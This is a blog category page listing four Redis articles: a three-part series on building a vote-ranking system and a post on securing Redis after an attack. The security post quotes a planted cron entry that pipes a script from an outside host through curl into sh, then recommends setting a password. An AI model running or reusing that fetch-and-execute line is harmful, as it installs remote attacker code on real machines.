Redis
文章平均质量分 92
Beyonderwei
知识不难,难的是要会运用知识和具有执行力。
展开
-
实现一个投票排名系统(3)——投票流程与数据持久化
文章目录一、投票流程二、数据的持久化1. 定时持久化2. 定时持久化改变的数据3. 定时 & 定变化量阈值更新数据4. 问题讨论三、总结 一、投票流程 之所以我们通过Redis的Sorted Set来保存选手的信息,一方面是因为可以快速的对选手进行排名,还有一点便是为了用于投票功能的实现。 通常投票(主播排名中就相当于送礼物)是一个被操作非常非常频繁的请原创 2021-08-07 18:40:51 · 862 阅读 · 1 评论 -
实现一个投票排名系统(2)——缓存设计(获取首页数据)
文章目录一、前提条件1. 问题讨论二、缓存设计1. 获取排名2. 获取排行榜首页主播信息3. 问题讨论4. 注意三、总结 一、前提条件 假设我们已经有了一个主播表,形式是下面这样:(你可能还会需要其他字段,请自行添加) id 名字 票数 1 张三 100 2 李四 210 票数: 票数越高排名越高,比如一个大炮是10票,这个礼物需要10块钱,一个飞机100票,需要100块钱这样子。 1. 问题讨论 问题讨原创 2021-08-01 20:47:06 · 1087 阅读 · 0 评论 -
实现一个投票排名系统(1)——场景介绍与分析
文章目录一、序言二、场景分析三、解决方案1. 前端页面资源2.票数经常变化3. 排名要近乎实时更新4. 数据信息持久化四、本节总结 重要说明: 这是一个系列文章,如果你也正在做或打算做这样一个投票排名系统,请耐心看完,相信你一定会有所收获,该系列文章仅是作者觉得还不错的实现方式,可能你在哪些地方会有更好的想法,欢迎在评论区留下你的想法和建议。(主要基于MySQL和Redis实现) 一、序言 无论学习还是做需求,投原创 2021-07-31 21:07:37 · 1164 阅读 · 0 评论 -
Redis被攻击(Redis安全性)
文章目录一、简介二、设置密码 一、简介 默认Redis没有开启密码,因此需要我们进入后设置。如果没有设置密码就很容易会被攻击到,导致数据丢失,被植入其他内容。被攻击后写入了一些其他内容如下: 查询一下某一个键的内容为如下形式:(不是很懂,应该被植入了一些脚本文件) "\t\n*/20 * * * * curl -fsSL http://d.powerofwish.com/pm.sh | sh\n\t" 二、设置密码 常用命令: config get requirepass # 查询获原创 2020-10-28 17:04:38 · 2142 阅读 · 2 评论